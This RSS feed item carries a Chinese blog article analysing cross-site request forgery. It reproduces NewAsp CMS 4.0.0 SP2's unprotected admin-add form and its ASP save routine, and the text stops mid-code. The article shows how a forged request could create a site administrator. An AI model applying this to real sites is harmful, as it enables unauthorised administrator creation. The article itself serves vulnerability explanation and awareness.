<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>暖月 &#187; csrf漏洞</title>
	<atom:link href="http://www.nuanyue.com/tag/csrf%e6%bc%8f%e6%b4%9e/feed" rel="self" type="application/rss+xml" />
	<link>http://www.nuanyue.com</link>
	<description>专注WEB、Linux及数据库应用安全</description>
	<lastBuildDate>Sun, 01 Aug 2010 01:52:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>浅析跨站请求伪造</title>
		<link>http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%a8%e7%ab%99%e8%af%b7%e6%b1%82%e4%bc%aa%e9%80%a0.html</link>
		<comments>http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%a8%e7%ab%99%e8%af%b7%e6%b1%82%e4%bc%aa%e9%80%a0.html#comments</comments>
		<pubDate>Wed, 06 Jan 2010 17:40:37 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Original article | 原创文章]]></category>
		<category><![CDATA[csrf漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1159</guid>
		<description><![CDATA[<p>文/<a href="http://www.nuanyue.com">饭</a></p>
  跨站请求伪造(cross-site request forgery)通常缩写为XSRF，直译为跨站请求伪造，即攻击者通过调用第三方网站的恶意脚本或者利用程序来伪造请求，当然并不需要向用户端伪装任何具有欺骗的内容，在用户不知情时攻击者直接利用用户的浏览器向攻击的应用程序提交一个已经预测好请求参数的操作数据包，利用的实质是劫持用户的会话状态，强行提交攻击者构造的具有“操作行为”的数据包。可以看出，最关键的是劫持用户的会话状态，所以说，导致XSRF漏洞的主要原因是会话状态的保持没有唯一时间特征的标识，即是说在使用HTTPCookie传送会话令牌的过程中，应该更谨慎的判断当前用户，而不是简单的通过操作数据包的Cookie值来鉴别，简单的说是每次数据交互时，对提交的数据包实行唯一性标识。
XSRF攻击流程大致如下：
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/01/1.jpg"><img class="aligncenter" title="1" src="http://www.nuanyue.com/wp-content/uploads/2010/01/1.jpg" alt="" width="517" height="297" /></a></p>
[......]<p class='read-more'><a href='http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%a8%e7%ab%99%e8%af%b7%e6%b1%82%e4%bc%aa%e9%80%a0.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>文/<a href="http://www.nuanyue.com">饭</a></p>
<p>  跨站请求伪造(cross-site request forgery)通常缩写为XSRF，直译为跨站请求伪造，即攻击者通过调用第三方网站的恶意脚本或者利用程序来伪造请求，当然并不需要向用户端伪装任何具有欺骗的内容，在用户不知情时攻击者直接利用用户的浏览器向攻击的应用程序提交一个已经预测好请求参数的操作数据包，利用的实质是劫持用户的会话状态，强行提交攻击者构造的具有“操作行为”的数据包。可以看出，最关键的是劫持用户的会话状态，所以说，导致XSRF漏洞的主要原因是会话状态的保持没有唯一时间特征的标识，即是说在使用HTTPCookie传送会话令牌的过程中，应该更谨慎的判断当前用户，而不是简单的通过操作数据包的Cookie值来鉴别，简单的说是每次数据交互时，对提交的数据包实行唯一性标识。<br />
XSRF攻击流程大致如下：</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/01/1.jpg" rel="lightbox"><img class="aligncenter" title="1" src="http://www.nuanyue.com/wp-content/uploads/2010/01/1.jpg" alt="" width="517" height="297" /></a></p>
<p>从上图可以看出，要完成一次XSRF攻击，比较关键的三个问题：<br />
1) 会话状态[A]的保持，即用户已经获取了易受攻击网站A的信任授权。<br />
2) 用户在依然保持没有登出易受攻击网站A的情况下，访问了“第三方网站”。<br />
3) 提交的“操作”数据包是可以预知的。</p>
<p>国内的许多大型WEB程序开发者好像对XSRF没有足够的重视，这些看似需要特定场景才能诱发的漏洞，在结合XSS后，想来威胁应该不在注入之下。本文以新云管理系统来实例演示添加管理员。<br />
在网上下载的版本是”NewAsp CMS Version 4.0.0 SP2”。在新云管理系统添加管理员的构造表单如下，代码在“/wwwroot/admin/users/admin_master.asp”</p>

<div class="wp_codebox"><table><tr id="p11591"><td class="code" id="p1159code1"><pre class="asp" style="font-family:monospace;"><span style="color: #006600; font-weight: bold;">&lt;</span>form action<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;?action=savenew&quot;</span> accept-<span style="color: #330066;">charset</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;UNKNOWN&quot;</span> enctype<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;application/x-www-form-urlencoded&quot;</span> method<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;post&quot;</span><span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>table <span style="color: #0000ff; font-weight: bold;">class</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;tableborder&quot;</span> border<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;0&quot;</span> cellspacing<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;1&quot;</span> cellpadding<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;3&quot;</span> align<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;center&quot;</span><span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>tbody<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>tr<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>th colspan<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;2&quot;</span><span style="color: #006600; font-weight: bold;">&gt;</span>添加管理员<span style="color: #006600; font-weight: bold;">&lt;/</span>th<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;/</span>tr<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>tr<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>td <span style="color: #0000ff; font-weight: bold;">class</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;tablerow1&quot;</span> width<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;25%&quot;</span> align<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;right&quot;</span><span style="color: #006600; font-weight: bold;">&gt;&lt;</span>strong<span style="color: #006600; font-weight: bold;">&gt;</span>后台登陆名称：<span style="color: #006600; font-weight: bold;">&lt;/</span>strong<span style="color: #006600; font-weight: bold;">&gt;&lt;/</span>td<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>td <span style="color: #0000ff; font-weight: bold;">class</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;tablerow1&quot;</span> width<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;75%&quot;</span><span style="color: #006600; font-weight: bold;">&gt;&lt;</span>input name<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;username2&quot;</span> size<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;30&quot;</span> type<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;text&quot;</span> <span style="color: #006600; font-weight: bold;">/&gt;&lt;/</span>td<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;/</span>tr<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>tr<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>td <span style="color: #0000ff; font-weight: bold;">class</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;tablerow2&quot;</span> align<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;right&quot;</span><span style="color: #006600; font-weight: bold;">&gt;&lt;</span>strong<span style="color: #006600; font-weight: bold;">&gt;</span>后台登陆密码：<span style="color: #006600; font-weight: bold;">&lt;/</span>strong<span style="color: #006600; font-weight: bold;">&gt;&lt;/</span>td<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>td <span style="color: #0000ff; font-weight: bold;">class</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;tablerow2&quot;</span><span style="color: #006600; font-weight: bold;">&gt;&lt;</span>input name<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;password2&quot;</span> size<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;30&quot;</span> type<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;password&quot;</span> <span style="color: #006600; font-weight: bold;">/&gt;&lt;/</span>td<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;/</span>tr<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>tr<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>td <span style="color: #0000ff; font-weight: bold;">class</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;tablerow1&quot;</span> align<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;right&quot;</span><span style="color: #006600; font-weight: bold;">&gt;&lt;</span>strong<span style="color: #006600; font-weight: bold;">&gt;</span>管理员级别：<span style="color: #006600; font-weight: bold;">&lt;/</span>strong<span style="color: #006600; font-weight: bold;">&gt;&lt;/</span>td<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>td <span style="color: #0000ff; font-weight: bold;">class</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;tablerow1&quot;</span><span style="color: #006600; font-weight: bold;">&gt;&lt;</span>input checked<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;checked&quot;</span> name<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;AdminGrade&quot;</span> type<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;radio&quot;</span> value<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;0&quot;</span> <span style="color: #006600; font-weight: bold;">/&gt;</span> 普通管理员   <span style="color: #006600; font-weight: bold;">&lt;</span>input name<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;AdminGrade&quot;</span> type<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;radio&quot;</span> value<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;999&quot;</span> <span style="color: #006600; font-weight: bold;">/&gt;</span> 高级管理员（拥有最高权限）   <span style="color: #006600; font-weight: bold;">&lt;</span>input name<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;AdminGrade&quot;</span> type<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;radio&quot;</span> value<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;111&quot;</span> <span style="color: #006600; font-weight: bold;">/&gt;</span> 只读管理员<span style="color: #006600; font-weight: bold;">&lt;/</span>td<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;/</span>tr<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>tr<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>td <span style="color: #0000ff; font-weight: bold;">class</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;tablerow2&quot;</span> align<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;right&quot;</span><span style="color: #006600; font-weight: bold;">&gt;&lt;</span>strong<span style="color: #006600; font-weight: bold;">&gt;</span>限制一个管理员登陆：<span style="color: #006600; font-weight: bold;">&lt;/</span>strong<span style="color: #006600; font-weight: bold;">&gt;&lt;/</span>td<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>td <span style="color: #0000ff; font-weight: bold;">class</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;tablerow2&quot;</span><span style="color: #006600; font-weight: bold;">&gt;&lt;</span>input checked<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;checked&quot;</span> name<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;isAloneLogin&quot;</span> type<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;radio&quot;</span> value<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;1&quot;</span> <span style="color: #006600; font-weight: bold;">/&gt;</span> 是   <span style="color: #006600; font-weight: bold;">&lt;</span>input name<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;isAloneLogin&quot;</span> type<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;radio&quot;</span> value<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;0&quot;</span> <span style="color: #006600; font-weight: bold;">/&gt;</span> 否<span style="color: #006600; font-weight: bold;">&lt;/</span>td<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;/</span>tr<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>tr<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>td <span style="color: #0000ff; font-weight: bold;">class</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;tablerow1&quot;</span> align<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;right&quot;</span><span style="color: #006600; font-weight: bold;">&gt;&lt;</span>strong<span style="color: #006600; font-weight: bold;">&gt;</span>是否激活管理员：<span style="color: #006600; font-weight: bold;">&lt;/</span>strong<span style="color: #006600; font-weight: bold;">&gt;&lt;/</span>td<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>td <span style="color: #0000ff; font-weight: bold;">class</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;tablerow1&quot;</span><span style="color: #006600; font-weight: bold;">&gt;&lt;</span>input checked<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;checked&quot;</span> name<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;isLock&quot;</span> type<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;radio&quot;</span> value<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;0&quot;</span> <span style="color: #006600; font-weight: bold;">/&gt;</span> 是   <span style="color: #006600; font-weight: bold;">&lt;</span>input name<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;isLock&quot;</span> type<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;radio&quot;</span> value<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;1&quot;</span> <span style="color: #006600; font-weight: bold;">/&gt;</span> 否<span style="color: #006600; font-weight: bold;">&lt;/</span>td<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;/</span>tr<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>tr<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>td <span style="color: #0000ff; font-weight: bold;">class</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;tablerow2&quot;</span> align<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;right&quot;</span><span style="color: #006600; font-weight: bold;">&gt;&lt;</span>strong<span style="color: #006600; font-weight: bold;">&gt;</span> <span style="color: #006600; font-weight: bold;">&lt;/</span>strong<span style="color: #006600; font-weight: bold;">&gt;&lt;/</span>td<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;</span>td <span style="color: #0000ff; font-weight: bold;">class</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;tablerow2&quot;</span><span style="color: #006600; font-weight: bold;">&gt;&lt;</span>input <span style="color: #0000ff; font-weight: bold;">class</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;button&quot;</span> name<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;reset_button&quot;</span> type<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;reset&quot;</span> value<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;清 除&quot;</span> <span style="color: #006600; font-weight: bold;">/&gt;</span>   <span style="color: #006600; font-weight: bold;">&lt;</span>input <span style="color: #0000ff; font-weight: bold;">class</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;button&quot;</span> name<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;submit_button&quot;</span> type<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;submit&quot;</span> value<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;提 交&quot;</span> <span style="color: #006600; font-weight: bold;">/&gt;&lt;/</span>td<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;/</span>tr<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;/</span>tbody<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;/</span>table<span style="color: #006600; font-weight: bold;">&gt;</span>
<span style="color: #006600; font-weight: bold;">&lt;/</span>form<span style="color: #006600; font-weight: bold;">&gt;</span></pre></td></tr></table></div>

<p>从代码可以看出构造的提交表单没有再次验证，而是让cookie来简单判定用户操作行为，即使cookie的滥用，导致xsrf漏洞的出现。<br />
以下代码是新云管理系统添加管理员的代码：</p>

<div class="wp_codebox"><table><tr id="p11592"><td class="code" id="p1159code2"><pre class="asp" style="font-family:monospace;"><span style="color: #0000ff; font-weight: bold;">Sub</span> savenew<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
<span style="color: #990099; font-weight: bold;">Dim</span> Rs,SQL
<span style="color: #990099; font-weight: bold;">Dim</span> adminuserid
<span style="color: #990099; font-weight: bold;">If</span> <span style="color: #990099; font-weight: bold;">Request</span>.<span style="color: #330066;">Form</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;username2&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #cc0000;">&quot;&quot;</span> <span style="color: #990099; font-weight: bold;">Then</span>
ErrMsg <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #cc0000;">&quot;请输入后台登陆用户名！&quot;</span>
Founderr <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #0000ff; font-weight: bold;">True</span>
Exit <span style="color: #0000ff; font-weight: bold;">Sub</span>
<span style="color: #990099; font-weight: bold;">Else</span>
adminuserid <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #990099; font-weight: bold;">Request</span>.<span style="color: #330066;">Form</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;username2&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
<span style="color: #990099; font-weight: bold;">End</span> <span style="color: #990099; font-weight: bold;">If</span>
<span style="color: #990099; font-weight: bold;">If</span> <span style="color: #990099; font-weight: bold;">Request</span>.<span style="color: #330066;">Form</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;password2&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #cc0000;">&quot;&quot;</span> <span style="color: #990099; font-weight: bold;">Then</span>
ErrMsg <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #cc0000;">&quot;请输入后台登陆密码！&quot;</span>
Founderr <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #0000ff; font-weight: bold;">True</span>
Exit <span style="color: #0000ff; font-weight: bold;">Sub</span>
<span style="color: #990099; font-weight: bold;">End</span> <span style="color: #990099; font-weight: bold;">If</span>
<span style="color: #990099; font-weight: bold;">Set</span> Rs<span style="color: #006600; font-weight: bold;">=</span>NewAsp.<span style="color: #330066;">Execute</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;SELECT username FROM NC_Admin WHERE username='&quot;</span> <span style="color: #006600; font-weight: bold;">&amp;</span>amp<span style="color: #006600; font-weight: bold;">;</span> <span style="color: #330066;">Replace</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #990099; font-weight: bold;">Request</span>.<span style="color: #330066;">Form</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;username2&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span>, <span style="color: #cc0000;">&quot;'&quot;</span>, <span style="color: #cc0000;">&quot;&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">&amp;</span>amp<span style="color: #006600; font-weight: bold;">;</span> <span style="color: #cc0000;">&quot;'&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
<span style="color: #990099; font-weight: bold;">If</span> <span style="color: #990099; font-weight: bold;">Not</span> <span style="color: #006600; font-weight:bold;">&#40;</span>Rs.<span style="color: #0000ff; font-weight: bold;">EOF</span> <span style="color: #0000ff; font-weight: bold;">And</span> Rs.<span style="color: #0000ff; font-weight: bold;">bof</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #990099; font-weight: bold;">Then</span>
ErrMsg <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #cc0000;">&quot;您输入的用户名已经在管理用户中存在！&quot;</span>
Founderr <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #0000ff; font-weight: bold;">True</span>
Exit <span style="color: #0000ff; font-weight: bold;">Sub</span>
<span style="color: #990099; font-weight: bold;">End</span> <span style="color: #990099; font-weight: bold;">If</span>
<span style="color: #990099; font-weight: bold;">Set</span> Rs<span style="color: #006600; font-weight: bold;">=</span>NewAsp.<span style="color: #9900cc;">CreateAXObject</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;ADODB.Recordset&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
SQL<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;SELECT * FROM NC_Admin WHERE (id is null)&quot;</span>
Rs.<span style="color: #330066;">open</span> SQL,conn,<span style="color: #800000;">1</span>,<span style="color: #800000;">3</span>
Rs.<span style="color: #9900cc;">addnew</span>
Rs<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;username&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #330066;">Replace</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #990099; font-weight: bold;">Request</span>.<span style="color: #330066;">Form</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;username2&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span>, <span style="color: #cc0000;">&quot;'&quot;</span>, <span style="color: #cc0000;">&quot;&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
<span style="color: #990099; font-weight: bold;">If</span> NewAsp.<span style="color: #9900cc;">ChkNumeric</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #990099; font-weight: bold;">Request</span>.<span style="color: #330066;">Form</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;AdminGrade&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #800000;">999</span> <span style="color: #990099; font-weight: bold;">Then</span>
Rs<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;status&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #cc0000;">&quot;高级管理员&quot;</span>
<span style="color: #990099; font-weight: bold;">ElseIf</span> NewAsp.<span style="color: #9900cc;">ChkNumeric</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #990099; font-weight: bold;">Request</span>.<span style="color: #330066;">Form</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;AdminGrade&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #800000;">111</span> <span style="color: #990099; font-weight: bold;">Then</span>
Rs<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;status&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #cc0000;">&quot;只读管理员&quot;</span>
<span style="color: #990099; font-weight: bold;">Else</span>
Rs<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;status&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #cc0000;">&quot;普通管理员&quot;</span>
<span style="color: #990099; font-weight: bold;">End</span> <span style="color: #990099; font-weight: bold;">If</span>
Rs<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;password&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> md5<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #990099; font-weight: bold;">Request</span>.<span style="color: #330066;">Form</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;password2&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span>,<span style="color: #800000;">16</span><span style="color: #006600; font-weight:bold;">&#41;</span>
Rs<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;isLock&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> NewAsp.<span style="color: #9900cc;">ChkNumeric</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #990099; font-weight: bold;">Request</span>.<span style="color: #330066;">Form</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;isLock&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
Rs<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;AdminGrade&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> NewAsp.<span style="color: #9900cc;">ChkNumeric</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #990099; font-weight: bold;">Request</span>.<span style="color: #330066;">Form</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;AdminGrade&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
Rs<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;Adminflag&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #cc0000;">&quot;,,,,,,,,,,,,,,,&quot;</span>
Rs<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;LoginTime&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #330066;">Now</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
Rs<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;Loginip&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> NewAsp.<span style="color: #9900cc;">UserTrueIP</span>
Rs<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;RandomCode&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> NewAsp.<span style="color: #9900cc;">GetRandomCode</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #800000;">16</span><span style="color: #006600; font-weight:bold;">&#41;</span>
